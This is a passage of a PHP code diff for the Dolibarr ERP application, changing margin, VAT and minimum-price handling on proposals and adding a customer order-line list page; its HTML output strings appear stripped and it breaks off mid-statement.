Define margin + $margin_rate = (GETPOST('marginforalllines') ? GETPOST('marginforalllines') : 0); + foreach ($object->lines as &$line) { + $subprice = price2num($line->pa_ht * (1 + $margin_rate/100), 'MU'); + $prod = new Product($db); + $prod->fetch($line->fk_product); + if ($prod->price_min > $subprice) { + $price_subprice = price($subprice, 0, $outlangs, 1, -1, -1, 'auto'); + $price_price_min = price($prod->price_min, 0, $outlangs, 1, -1, -1, 'auto'); + setEventMessages($prod->ref.' - '.$prod->label.' ('.$price_subprice.' < '.$price_price_min.' '.strtolower($langs->trans("MinPrice")).')'."\n", null, 'warnings'); + } + // Manage $line->subprice and $line->multicurrency_subprice + $multicurrency_subprice = $subprice * $line->multicurrency_subprice / $line->subprice; + // Update DB + $result = $object->updateline($line->id, $subprice, $line->qty, $line->remise_percent, $line->tva_tx, $line->localtax1_rate, $line->localtax2_rate, $line->desc, 'HT', $line->info_bits, $line->special_code, $line->fk_parent_line, 0, $line->fk_fournprice, $line->pa_ht, $line->label, $line->product_type, $line->date_start, $line->date_end, $line->array_options, $line->fk_unit, $multicurrency_subprice); + // Update $object with new margin info + $line->price = $subprice; + $line->marge_tx = $margin_rate; + $line->marque_tx = $margin_rate * $line->pa_ht / $subprice; + $line->total_ht = $line->qty * $subprice; + $line->total_tva = $line->tva_tx * $line->qty * $subprice; + $line->total_ttc = (1 + $line->tva_tx) * $line->qty * $subprice; + // Manage $line->subprice and $line->multicurrency_subprice + $line->multicurrency_total_ht = $line->qty * $subprice * $line->multicurrency_subprice / $line->subprice; + $line->multicurrency_total_tva = $line->tva_tx * $line->qty * $subprice * $line->multicurrency_subprice / $line->subprice; + $line->multicurrency_total_ttc = (1 + $line->tva_tx) * $line->qty * $subprice * $line->multicurrency_subprice / $line->subprice; + // Used previous $line->subprice and $line->multicurrency_subprice above, now they can be set to their new values + $line->subprice = $subprice; + $line->multicurrency_subprice = $multicurrency_subprice; + } } elseif ($action == 'addline' && $usercancreate) { // Add line // Set if we used free entry or predefined product $predef = ''; @@ -922,6 +956,8 @@ if (empty($reshook)) { $price_ttc = ''; $price_ttc_devise = ''; + // TODO Implement if (getDolGlobalInt('MAIN_UNIT_PRICE_WITH_TAX_IS_FOR_ALL_TAXES')) + if (GETPOST('price_ht') !== '') { $price_ht = price2num(GETPOST('price_ht'), 'MU', 2); } @@ -938,12 +974,12 @@ if (empty($reshook)) { $prod_entry_mode = GETPOST('prod_entry_mode', 'aZ09'); if ($prod_entry_mode == 'free') { $idprod = 0; - $tva_tx = (GETPOST('tva_tx', 'alpha') ? price2num(preg_replace('/\s*\(.*\)/', '', GETPOST('tva_tx', 'alpha'))) : 0); } else { $idprod = GETPOST('idprod', 'int'); - $tva_tx = ''; } + $tva_tx = GETPOST('tva_tx', 'alpha'); + $qty = price2num(GETPOST('qty'.$predef, 'alpha'), 'MS', 2); $remise_percent = (GETPOSTISSET('remise_percent'.$predef) ? price2num(GETPOST('remise_percent'.$predef, 'alpha'), '', 2) : 0); if (empty($remise_percent)) { @@ -992,6 +1028,8 @@ if (empty($reshook)) { if (!$error && ($qty >= 0) && (!empty($product_desc) || (!empty($idprod) && $idprod > 0))) { $pu_ht = 0; $pu_ttc = 0; + $pu_ht_devise = 0; + $pu_ttc_devise = 0; $price_min = 0; $price_min_ttc = 0; $price_base_type = (GETPOST('price_base_type', 'alpha') ? GETPOST('price_base_type', 'alpha') : 'HT'); @@ -1002,7 +1040,6 @@ if (empty($reshook)) { // Ecrase $pu par celui du produit // Ecrase $desc par celui du produit - // Ecrase $tva_tx par celui du produit // Replaces $fk_unit with the product unit if (!empty($idprod) && $idprod > 0) { $prod = new Product($db); @@ -1011,11 +1048,11 @@ if (empty($reshook)) { $label = ((GETPOST('product_label') && GETPOST('product_label') != $prod->label) ? GETPOST('product_label') : ''); // Update if prices fields are defined - $tva_tx = get_default_tva($mysoc, $object->thirdparty, $prod->id); + /*$tva_tx = get_default_tva($mysoc, $object->thirdparty, $prod->id); $tva_npr = get_default_npr($mysoc, $object->thirdparty, $prod->id); if (empty($tva_tx)) { $tva_npr = 0; - } + }*/ // Price unique per product $pu_ht = $prod->price; @@ -1056,14 +1093,14 @@ if (empty($reshook)) { $price_min = price($prodcustprice->lines[0]->price_min); $price_min_ttc = price($prodcustprice->lines[0]->price_min_ttc); $price_base_type = $prodcustprice->lines[0]->price_base_type; - $tva_tx = ($prodcustprice->lines[0]->default_vat_code ? $prodcustprice->lines[0]->tva_tx.' ('.$prodcustprice->lines[0]->default_vat_code.' )' : $prodcustprice->lines[0]->tva_tx); + /*$tva_tx = ($prodcustprice->lines[0]->default_vat_code ? $prodcustprice->lines[0]->tva_tx.' ('.$prodcustprice->lines[0]->default_vat_code.' )' : $prodcustprice->lines[0]->tva_tx); if ($prodcustprice->lines[0]->default_vat_code && !preg_match('/\(.*\)/', $tva_tx)) { $tva_tx .= ' ('.$prodcustprice->lines[0]->default_vat_code.')'; } $tva_npr = $prodcustprice->lines[0]->recuperableonly; if (empty($tva_tx)) { $tva_npr = 0; - } + }*/ } } } elseif (!empty($conf->global->PRODUIT_CUSTOMER_PRICES_BY_QTY)) { @@ -1114,12 +1151,12 @@ if (empty($reshook)) { $tmpprodvat = price2num(preg_replace('/\s*\(.*\)/', '', $prod->tva_tx)); // Set unit price to use - if (!empty($price_ht) || $price_ht === '0') { + if (!empty($price_ht) || (string) $price_ht === '0') { $pu_ht = price2num($price_ht, 'MU'); - $pu_ttc = price2num($pu_ht * (1 + ($tmpvat / 100)), 'MU'); - } elseif (!empty($price_ttc) || $price_ttc === '0') { + $pu_ttc = price2num($pu_ht * (1 + ((float) $tmpvat / 100)), 'MU'); + } elseif (!empty($price_ttc) || (string) $price_ttc === '0') { $pu_ttc = price2num($price_ttc, 'MU'); - $pu_ht = price2num($pu_ttc / (1 + ($tmpvat / 100)), 'MU'); + $pu_ht = price2num($pu_ttc / (1 + ((float) $tmpvat / 100)), 'MU'); } elseif ($tmpvat != $tmpprodvat) { // Is this still used ? if ($price_base_type != 'HT') { @@ -1233,6 +1270,20 @@ if (empty($reshook)) { $date_start = dol_mktime(GETPOST('date_start'.$predef.'hour'), GETPOST('date_start'.$predef.'min'), GETPOST('date_start'.$predef.'sec'), GETPOST('date_start'.$predef.'month'), GETPOST('date_start'.$predef.'day'), GETPOST('date_start'.$predef.'year')); $date_end = dol_mktime(GETPOST('date_end'.$predef.'hour'), GETPOST('date_end'.$predef.'min'), GETPOST('date_end'.$predef.'sec'), GETPOST('date_end'.$predef.'month'), GETPOST('date_end'.$predef.'day'), GETPOST('date_end'.$predef.'year')); + // Prepare a price equivalent for minimum price check + $pu_equivalent = $pu_ht; + $pu_equivalent_ttc = $pu_ttc; + $currency_tx = $object->multicurrency_tx; + + // Check if we have a foreing currency + // If so, we update the pu_equiv as the equivalent price in base currency + if ($pu_ht == '' && $pu_ht_devise != '' && $currency_tx != '') { + $pu_equivalent = $pu_ht_devise * $currency_tx; + } + if ($pu_ttc == '' && $pu_ttc_devise != '' && $currency_tx != '') { + $pu_equivalent_ttc = $pu_ttc_devise * $currency_tx; + } + // Local Taxes $localtax1_tx = get_localtax($tva_tx, 1, $object->thirdparty, $tva_npr); $localtax2_tx = get_localtax($tva_tx, 2, $object->thirdparty, $tva_npr); @@ -1246,11 +1297,11 @@ if (empty($reshook)) { //var_dump(price2num($price_min_ttc)); var_dump(price2num($pu_ttc)); var_dump($remise_percent);exit; if ($usermustrespectpricemin) { - if ($pu_ht && $price_min && ((price2num($pu_ht) * (1 - $remise_percent / 100)) < price2num($price_min))) { + if ($pu_equivalent && $price_min && ((price2num($pu_equivalent) * (1 - $remise_percent / 100)) < price2num($price_min))) { $mesg = $langs->trans("CantBeLessThanMinPrice", price(price2num($price_min, 'MU'), 0, $langs, 0, 0, -1, $conf->currency)); setEventMessages($mesg, null, 'errors'); $error++; - } elseif ($pu_ttc && $price_min_ttc && ((price2num($pu_ttc) * (1 - $remise_percent / 100)) < price2num($price_min_ttc))) { + } elseif ($pu_equivalent_ttc && $price_min_ttc && ((price2num($pu_equivalent_ttc) * (1 - $remise_percent / 100)) < price2num($price_min_ttc))) { $mesg = $langs->trans("CantBeLessThanMinPrice", price(price2num($price_min_ttc, 'MU'), 0, $langs, 0, 0, -1, $conf->currency)); setEventMessages($mesg, null, 'errors'); $error++; @@ -1348,6 +1399,23 @@ if (empty($reshook)) { $date_end = dol_mktime(GETPOST('date_endhour'), GETPOST('date_endmin'), GETPOST('date_endsec'), GETPOST('date_endmonth'), GETPOST('date_endday'), GETPOST('date_endyear')); $remise_percent = price2num(GETPOST('remise_percent'), '', 2); + if (empty($remise_percent)) { + $remise_percent = 0; + } + + // Prepare a price equivalent for minimum price check + $pu_equivalent = $pu_ht; + $pu_equivalent_ttc = $pu_ttc; + $currency_tx = $object->multicurrency_tx; + + // Check if we have a foreing currency + // If so, we update the pu_equiv as the equivalent price in base currency + if ($pu_ht == '' && $pu_ht_devise != '' && $currency_tx != '') { + $pu_equivalent = $pu_ht_devise * $currency_tx; + } + if ($pu_ttc == '' && $pu_ttc_devise != '' && $currency_tx != '') { + $pu_equivalent_ttc = $pu_ttc_devise * $currency_tx; + } // Extrafields $extralabelsline = $extrafields->fetch_name_optionals_label($object->table_element_line); @@ -1388,12 +1456,12 @@ if (empty($reshook)) { //var_dump(price2num($price_min_ttc)); var_dump(price2num($pu_ttc)); var_dump($remise_percent);exit; if ($usermustrespectpricemin) { - if ($pu_ht && $price_min && ((price2num($pu_ht) * (1 - $remise_percent / 100)) < price2num($price_min))) { + if ($pu_equivalent && $price_min && ((price2num($pu_equivalent) * (1 - (float) $remise_percent / 100)) < price2num($price_min))) { $mesg = $langs->trans("CantBeLessThanMinPrice", price(price2num($price_min, 'MU'), 0, $langs, 0, 0, -1, $conf->currency)); setEventMessages($mesg, null, 'errors'); $error++; $action = 'editline'; - } elseif ($pu_ttc && $price_min_ttc && ((price2num($pu_ttc) * (1 - $remise_percent / 100)) < price2num($price_min_ttc))) { + } elseif ($pu_equivalent_ttc && $price_min_ttc && ((price2num($pu_equivalent_ttc) * (1 - (float) $remise_percent / 100)) < price2num($price_min_ttc))) { $mesg = $langs->trans("CantBeLessThanMinPrice", price(price2num($price_min_ttc, 'MU'), 0, $langs, 0, 0, -1, $conf->currency)); setEventMessages($mesg, null, 'errors'); $error++; @@ -1531,7 +1599,7 @@ if (empty($reshook)) { $error++; } if (!$error) { - $result = $object->updateExtraField(GETPOST('attribute', 'restricthtml'), 'PROPAL_MODIFY', $user); + $result = $object->insertExtraFields('PROPAL_MODIFY'); if ($result < 0) { setEventMessages($object->error, $object->errors, 'errors'); $error++; @@ -1707,6 +1775,7 @@ if ($action == 'create') { print '
      '; print ''; print ''; + print ''; if ($origin != 'project' && $originid) { print ''; print ''; @@ -1741,10 +1810,10 @@ if ($action == 'create') { //$warehouse_id = $soc->warehouse_id; } else { print '
      '; - print img_picto('', 'company').$form->select_company('', 'socid', '((s.client = 1 OR s.client = 2 OR s.client = 3) AND status=1)', 'SelectThirdParty', 1, 0, null, 0, 'minwidth300 maxwidth500 widthcentpercentminusxx'); + print img_picto('', 'company', 'class="pictofixedwidth"').$form->select_company('', 'socid', '((s.client = 1 OR s.client = 2 OR s.client = 3) AND status=1)', 'SelectThirdParty', 1, 0, null, 0, 'minwidth300 maxwidth500 widthcentpercentminusxx'); // reload page to retrieve customer informations if (empty($conf->global->RELOAD_PAGE_ON_CUSTOMER_CHANGE_DISABLED)) { - print ''; + } + + print '
      '; + print ''."\n"; + + print ''; + + // Action column + if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + } + + // Détail commande + if (!empty($arrayfields['pr.ref']['checked'])) { + print ''; + } + // Product Description + if (!empty($arrayfields['pr.desc']['checked'])) { + print ''; + } + // Product QtyOrdered + if (!empty($arrayfields['cdet.qty']['checked'])) { + print ''; + } + + // Ref + if (!empty($arrayfields['c.ref']['checked'])) { + print ''; + } + // Ref customer + if (!empty($arrayfields['c.ref_client']['checked'])) { + print ''; + } + // Project ref + if (!empty($arrayfields['p.ref']['checked'])) { + print ''; + } + // Project title + if (!empty($arrayfields['p.title']['checked'])) { + print ''; + } + // Thirpdarty + if (!empty($arrayfields['s.nom']['checked'])) { + print ''; + } + // Alias + if (!empty($arrayfields['s.name_alias']['checked'])) { + print ''; + } + // Town + if (!empty($arrayfields['s.town']['checked'])) { + print ''; + } + // Zip + if (!empty($arrayfields['s.zip']['checked'])) { + print ''; + } + // State + if (!empty($arrayfields['state.nom']['checked'])) { + print ''; + } + // Country + if (!empty($arrayfields['country.code_iso']['checked'])) { + print ''; + } + // Company type + if (!empty($arrayfields['typent.code']['checked'])) { + print ''; + } + // Date order + if (!empty($arrayfields['c.date_commande']['checked'])) { + print ''; + } + if (!empty($arrayfields['c.date_delivery']['checked'])) { + print ''; + } + // Shipping Method + if (!empty($arrayfields['c.fk_shipping_method']['checked'])) { + print ''; + } + // Payment term + if (!empty($arrayfields['c.fk_cond_reglement']['checked'])) { + print ''; + } + // Payment mode + if (!empty($arrayfields['c.fk_mode_reglement']['checked'])) { + print ''; + } + // Channel + if (!empty($arrayfields['c.fk_input_reason']['checked'])) { + print ''; + } + if (!empty($arrayfields['cdet.total_ht']['checked'])) { + // Amount + print ''; + } + if (!empty($arrayfields['c.total_vat']['checked'])) { + // Amount + print ''; + } + if (!empty($arrayfields['cdet.total_ttc']['checked'])) { + // Amount + print ''; + } + if (!empty($arrayfields['c.fk_warehouse']['checked'])) { + // Warehouse + print ''; + } + if (!empty($arrayfields['c.multicurrency_code']['checked'])) { + // Currency + print ''; + } + if (!empty($arrayfields['c.multicurrency_tx']['checked'])) { + // Currency rate + print ''; + } + if (!empty($arrayfields['c.multicurrency_total_ht']['checked'])) { + // Amount + print ''; + } + if (!empty($arrayfields['c.multicurrency_total_vat']['checked'])) { + // Amount VAT + print ''; + } + if (!empty($arrayfields['c.multicurrency_total_ttc']['checked'])) { + // Amount + print ''; + } + if (!empty($arrayfields['u.login']['checked'])) { + // Author + print ''; + } + if (!empty($arrayfields['sale_representative']['checked'])) { + print ''; + } + if (!empty($arrayfields['total_pa']['checked'])) { + print ''; + } + if (!empty($arrayfields['total_margin']['checked'])) { + print ''; + } + if (!empty($arrayfields['total_margin_rate']['checked'])) { + print ''; + } + if (!empty($arrayfields['total_mark_rate']['checked'])) { + print ''; + } + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields); + $reshook = $hookmanager->executeHooks('printFieldListOption', $parameters); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + // Date creation + if (!empty($arrayfields['c.datec']['checked'])) { + print ''; + } + // Date modification + if (!empty($arrayfields['c.tms']['checked'])) { + print ''; + } + // Date cloture + if (!empty($arrayfields['c.date_cloture']['checked'])) { + print ''; + } + // Note public + if (!empty($arrayfields['c.note_public']['checked'])) { + print ''; + } + // Note private + if (!empty($arrayfields['c.note_private']['checked'])) { + print ''; + } + // Shippable + if (!empty($arrayfields['shippable']['checked'])) { + print ''; + } + // Status billed + if (!empty($arrayfields['c.facture']['checked'])) { + print ''; + } + // Import key + if (!empty($arrayfields['c.import_key']['checked'])) { + print ''; + } + // Status + if (!empty($arrayfields['c.fk_statut']['checked'])) { + print ''; + } + // Action column + if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + } + print "\n"; + + // Fields title + print ''; + + if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, 'maxwidthsearch center '); + } + + // Détail commande + if (!empty($arrayfields['pr.ref']['checked'])) { + print_liste_field_titre($arrayfields['pr.ref']['label'], $_SERVER["PHP_SELF"], 'pr.ref', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['pr.desc']['checked'])) { + print_liste_field_titre($arrayfields['pr.desc']['label'], $_SERVER["PHP_SELF"], 'pr.desc', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['cdet.qty']['checked'])) { + print_liste_field_titre($arrayfields['cdet.qty']['label'], $_SERVER["PHP_SELF"], 'cdet.qty', '', $param, '', $sortfield, $sortorder); + } + + if (!empty($arrayfields['c.ref']['checked'])) { + print_liste_field_titre($arrayfields['c.ref']['label'], $_SERVER["PHP_SELF"], 'c.ref', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['c.ref_client']['checked'])) { + print_liste_field_titre($arrayfields['c.ref_client']['label'], $_SERVER["PHP_SELF"], 'c.ref_client', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['p.ref']['checked'])) { + print_liste_field_titre($arrayfields['p.ref']['label'], $_SERVER["PHP_SELF"], "p.ref", "", $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['p.title']['checked'])) { + print_liste_field_titre($arrayfields['p.title']['label'], $_SERVER["PHP_SELF"], "p.title", "", $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['s.nom']['checked'])) { + print_liste_field_titre($arrayfields['s.nom']['label'], $_SERVER["PHP_SELF"], 's.nom', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['s.name_alias']['checked'])) { + print_liste_field_titre($arrayfields['s.name_alias']['label'], $_SERVER["PHP_SELF"], 's.name_alias', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['s.town']['checked'])) { + print_liste_field_titre($arrayfields['s.town']['label'], $_SERVER["PHP_SELF"], 's.town', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['s.zip']['checked'])) { + print_liste_field_titre($arrayfields['s.zip']['label'], $_SERVER["PHP_SELF"], 's.zip', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['state.nom']['checked'])) { + print_liste_field_titre($arrayfields['state.nom']['label'], $_SERVER["PHP_SELF"], "state.nom", "", $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['country.code_iso']['checked'])) { + print_liste_field_titre($arrayfields['country.code_iso']['label'], $_SERVER["PHP_SELF"], "country.code_iso", "", $param, '', $sortfield, $sortorder, 'center '); + } + if (!empty($arrayfields['typent.code']['checked'])) { + print_liste_field_titre($arrayfields['typent.code']['label'], $_SERVER["PHP_SELF"], "typent.code", "", $param, '', $sortfield, $sortorder, 'center '); + } + if (!empty($arrayfields['c.date_commande']['checked'])) { + print_liste_field_titre($arrayfields['c.date_commande']['label'], $_SERVER["PHP_SELF"], 'c.date_commande', '', $param, '', $sortfield, $sortorder, 'center '); + } + if (!empty($arrayfields['c.date_delivery']['checked'])) { + print_liste_field_titre($arrayfields['c.date_delivery']['label'], $_SERVER["PHP_SELF"], 'c.date_livraison', '', $param, '', $sortfield, $sortorder, 'center '); + } + if (!empty($arrayfields['c.fk_shipping_method']['checked'])) { + print_liste_field_titre($arrayfields['c.fk_shipping_method']['label'], $_SERVER["PHP_SELF"], "c.fk_shipping_method", "", $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['c.fk_cond_reglement']['checked'])) { + print_liste_field_titre($arrayfields['c.fk_cond_reglement']['label'], $_SERVER["PHP_SELF"], "c.fk_cond_reglement", "", $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['c.fk_mode_reglement']['checked'])) { + print_liste_field_titre($arrayfields['c.fk_mode_reglement']['label'], $_SERVER["PHP_SELF"], "c.fk_mode_reglement", "", $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['c.fk_input_reason']['checked'])) { + print_liste_field_titre($arrayfields['c.fk_input_reason']['label'], $_SERVER["PHP_SELF"], "c.fk_input_reason", "", $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['cdet.total_ht']['checked'])) { + print_liste_field_titre($arrayfields['cdet.total_ht']['label'], $_SERVER["PHP_SELF"], 'cdet.total_ht', '', $param, '', $sortfield, $sortorder, 'right '); + } + if (!empty($arrayfields['c.total_vat']['checked'])) { + print_liste_field_titre($arrayfields['c.total_vat']['label'], $_SERVER["PHP_SELF"], 'cdet.total_tva', '', $param, '', $sortfield, $sortorder, 'right '); + } + if (!empty($arrayfields['cdet.total_ttc']['checked'])) { + print_liste_field_titre($arrayfields['cdet.total_ttc']['label'], $_SERVER["PHP_SELF"], 'cdet.total_ttc', '', $param, '', $sortfield, $sortorder, 'right '); + } + if (!empty($arrayfields['c.fk_warehouse']['checked'])) { + print_liste_field_titre($arrayfields['c.fk_warehouse']['label'], "", '', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['c.multicurrency_code']['checked'])) { + print_liste_field_titre($arrayfields['c.multicurrency_code']['label'], $_SERVER['PHP_SELF'], 'c.multicurrency_code', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['c.multicurrency_tx']['checked'])) { + print_liste_field_titre($arrayfields['c.multicurrency_tx']['label'], $_SERVER['PHP_SELF'], 'c.multicurrency_tx', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['c.multicurrency_total_ht']['checked'])) { + print_liste_field_titre($arrayfields['c.multicurrency_total_ht']['label'], $_SERVER['PHP_SELF'], 'c.multicurrency_total_ht', '', $param, 'class="right"', $sortfield, $sortorder); + } + if (!empty($arrayfields['c.multicurrency_total_vat']['checked'])) { + print_liste_field_titre($arrayfields['c.multicurrency_total_vat']['label'], $_SERVER['PHP_SELF'], 'c.multicurrency_total_tva', '', $param, 'class="right"', $sortfield, $sortorder); + } + if (!empty($arrayfields['c.multicurrency_total_ttc']['checked'])) { + print_liste_field_titre($arrayfields['c.multicurrency_total_ttc']['label'], $_SERVER['PHP_SELF'], 'c.multicurrency_total_ttc', '', $param, 'class="right"', $sortfield, $sortorder); + } + if (!empty($arrayfields['u.login']['checked'])) { + print_liste_field_titre($arrayfields['u.login']['label'], $_SERVER["PHP_SELF"], 'u.login', '', $param, 'align="center"', $sortfield, $sortorder); + } + if (!empty($arrayfields['sale_representative']['checked'])) { + print_liste_field_titre($arrayfields['sale_representative']['label'], $_SERVER["PHP_SELF"], "", "", "$param", '', $sortfield, $sortorder); + } + if (!empty($arrayfields['total_pa']['checked'])) { + print_liste_field_titre($arrayfields['total_pa']['label'], $_SERVER['PHP_SELF'], '', '', $param, 'class="right"', $sortfield, $sortorder); + } + if (!empty($arrayfields['total_margin']['checked'])) { + print_liste_field_titre($arrayfields['total_margin']['label'], $_SERVER['PHP_SELF'], '', '', $param, 'class="right"', $sortfield, $sortorder); + } + if (!empty($arrayfields['total_margin_rate']['checked'])) { + print_liste_field_titre($arrayfields['total_margin_rate']['label'], $_SERVER['PHP_SELF'], '', '', $param, 'class="right"', $sortfield, $sortorder); + } + if (!empty($arrayfields['total_mark_rate']['checked'])) { + print_liste_field_titre($arrayfields['total_mark_rate']['label'], $_SERVER['PHP_SELF'], '', '', $param, 'class="right"', $sortfield, $sortorder); + } + + $totalarray = array( + 'nbfield' => 0, + 'val' => array( + 'cdet.total_ht' => 0, + 'cdet.total_tva' => 0, + 'cdet.total_ttc' => 0, + ), + 'pos' => array(), + ); + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; + // Hook fields + $parameters = array( + 'arrayfields' => $arrayfields, + 'param' => $param, + 'sortfield' => $sortfield, + 'sortorder' => $sortorder, + 'totalarray' => &$totalarray, + ); + $reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + if (!empty($arrayfields['c.datec']['checked'])) { + print_liste_field_titre($arrayfields['c.datec']['label'], $_SERVER["PHP_SELF"], "c.date_creation", "", $param, '', $sortfield, $sortorder, 'center nowrap '); + } + if (!empty($arrayfields['c.tms']['checked'])) { + print_liste_field_titre($arrayfields['c.tms']['label'], $_SERVER["PHP_SELF"], "c.tms", "", $param, '', $sortfield, $sortorder, 'center nowrap '); + } + if (!empty($arrayfields['c.date_cloture']['checked'])) { + print_liste_field_titre($arrayfields['c.date_cloture']['label'], $_SERVER["PHP_SELF"], "c.date_cloture", "", $param, '', $sortfield, $sortorder, 'center nowrap '); + } + if (!empty($arrayfields['c.note_public']['checked'])) { + print_liste_field_titre($arrayfields['c.note_public']['label'], $_SERVER["PHP_SELF"], "c.note_public", "", $param, '', $sortfield, $sortorder, 'right '); + } + if (!empty($arrayfields['c.note_private']['checked'])) { + print_liste_field_titre($arrayfields['c.note_private']['label'], $_SERVER["PHP_SELF"], "c.note_private", "", $param, '', $sortfield, $sortorder, 'right '); + } + if (!empty($arrayfields['shippable']['checked'])) { + print_liste_field_titre($arrayfields['shippable']['label'], $_SERVER["PHP_SELF"], '', '', $param, '', $sortfield, $sortorder, 'center '); + } + if (!empty($arrayfields['c.facture']['checked'])) { + print_liste_field_titre($arrayfields['c.facture']['label'], $_SERVER["PHP_SELF"], 'c.facture', '', $param, '', $sortfield, $sortorder, 'center '); + } + if (!empty($arrayfields['c.import_key']['checked'])) { + print_liste_field_titre($arrayfields['c.import_key']['label'], $_SERVER["PHP_SELF"], "c.import_key", "", $param, '', $sortfield, $sortorder, 'center '); + } + if (!empty($arrayfields['c.fk_statut']['checked'])) { + print_liste_field_titre($arrayfields['c.fk_statut']['label'], $_SERVER["PHP_SELF"], "c.fk_statut", "", $param, '', $sortfield, $sortorder, 'center '); + } + if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, 'maxwidthsearch center '); + } + print ''."\n"; + + $total = 0; + $subtotal = 0; + $productstat_cache = array(); + $productstat_cachevirtual = array(); + $getNomUrl_cache = array(); + + $generic_commande = new Commande($db); + $generic_product = new Product($db); + $userstatic = new User($db); + $i = 0; + + $with_margin_info = false; + if (!empty($conf->margin->enabled) && ( + !empty($arrayfields['total_pa']['checked']) + || !empty($arrayfields['total_margin']['checked']) + || !empty($arrayfields['total_margin_rate']['checked']) + || !empty($arrayfields['total_mark_rate']['checked']) + ) + ) { + $with_margin_info = true; + } + $total_ht = 0; + $total_margin = 0; + + + // Détail commande + $totalqty = 0; + + $totalarray = array(); + $totalarray['nbfield'] = 0; + $totalarray['val']['cdet.total_tva'] = 0; + $totalarray['val']['cdet.total_ttc'] = 0; + $imaxinloop = ($limit ? min($num, $limit) : $num); + while ($i < $imaxinloop) { + $obj = $db->fetch_object($resql); + + $notshippable = 0; + $warning = 0; + $text_info = ''; + $text_warning = ''; + $nbprod = 0; + + // Print SubTotal + if (empty($i)) { + $oldref = $obj->product_ref; + } + if ($oldref != $obj->product_ref) { + include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; + $oldref = $obj->product_ref; + } + + $companystatic->id = $obj->socid; + $companystatic->name = $obj->name; + $companystatic->name_alias = $obj->alias; + $companystatic->client = $obj->client; + $companystatic->code_client = $obj->code_client; + $companystatic->email = $obj->email; + $companystatic->phone = $obj->phone; + $companystatic->address = $obj->address; + $companystatic->zip = $obj->zip; + $companystatic->town = $obj->town; + $companystatic->country_code = $obj->country_code; + if (!isset($getNomUrl_cache[$obj->socid])) { + $getNomUrl_cache[$obj->socid] = $companystatic->getNomUrl(1, 'customer'); + } + + $generic_commande->id = $obj->c_rowid; + $generic_commande->ref = $obj->ref; + $generic_commande->statut = $obj->fk_statut; + $generic_commande->billed = $obj->billed; + $generic_commande->date = $db->jdate($obj->date_commande); + $generic_commande->date_livraison = $db->jdate($obj->date_delivery); // deprecated + $generic_commande->delivery_date = $db->jdate($obj->date_delivery); + $generic_commande->ref_client = $obj->ref_client; + $generic_commande->total_ht = $obj->c_total_ht; + $generic_commande->total_tva = $obj->c_total_tva; + $generic_commande->total_ttc = $obj->c_total_ttc; + $generic_commande->note_public = $obj->note_public; + $generic_commande->note_private = $obj->note_private; + + $projectstatic->id = $obj->project_id; + $projectstatic->ref = $obj->project_ref; + $projectstatic->title = $obj->project_label; + + $marginInfo = array(); + if ($with_margin_info === true) { + $generic_commande->fetch_lines(); + $marginInfo = $formmargin->getMarginInfosArray($generic_commande); + $total_ht += $obj->total_ht; + $total_margin += $marginInfo['total_margin']; + } + + print ''; + + // Action column + if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Détail commande + // Product Ref + if (!empty($arrayfields['pr.ref']['checked'])) { + if (!empty($obj->product_rowid)) { + $generic_product->id = $obj->product_rowid; + $generic_product->ref = $obj->product_ref; + $generic_product->label = $obj->product_label; + $generic_product->status = $obj->product_status; + $generic_product->status_buy = $obj->product_status_buy; + $generic_product->status_batch = $obj->product_batch; + $generic_product->barcode = $obj->product_barcode; + print ''; + } else { + print ''; + } + if (!$i) { + $totalarray['nbfield']++; + } + } + // Product Description + if (!empty($arrayfields['pr.desc']['checked'])) { + // print ''; + !empty($obj->product_label) ? $labelproduct = $obj->product_label : $labelproduct = $obj->description; + print ''; + + if (!$i) { + $totalarray['nbfield']++; + } + } + // Product QtyOrdered + if (!empty($arrayfields['cdet.qty']['checked'])) { + print ''; + if (isset($totalarray['val']['cdet.qty'])) { + $totalarray['val']['cdet.qty'] += $obj->qty; + } else { + $totalarray['val']['cdet.qty'] = $obj->qty; + } + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'cdet.qty'; + } + } + + // Ref + if (!empty($arrayfields['c.ref']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Ref customer + if (!empty($arrayfields['c.ref_client']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Project ref + if (!empty($arrayfields['p.ref']['checked'])) { + print ''; + if 